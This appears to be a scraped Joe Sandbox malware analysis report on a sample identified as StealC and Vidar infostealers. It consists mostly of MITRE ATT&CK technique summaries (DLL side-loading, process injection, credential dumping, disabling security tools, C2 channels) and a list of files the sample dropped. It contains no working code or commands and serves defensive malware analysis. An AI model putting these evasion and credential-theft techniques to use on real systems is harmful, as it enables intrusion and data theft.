Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report H6ohQMZygb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKFHCAKJDBKKEBFIIJJEGIJDAA

C:\ProgramData\Canon_Inc_IC\UniversalInstaller\ServiceLog\CANON_UIX_SERVICELOG_20240423093808.TXT

C:\ProgramData\DBKKFCBAKKFBGCBFHJDG

C:\ProgramData\DTBZGIOOSO.docx

C:\ProgramData\EBGCFBGCBFHJECBGDAKKJDGHII

C:\ProgramData\EHCBAAAF

C:\ProgramData\FBFHDBKJEGHJJJKFIIJEBGIJKK

C:\ProgramData\FIJECAEHJJJKJKFIDGCB

C:\ProgramData\GHJKECAA

C:\ProgramData\JDDHMPCDUJ.xlsx

C:\ProgramData\KATAXZVCPS.xlsx

Windows Analysis Report
H6ohQMZygb.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre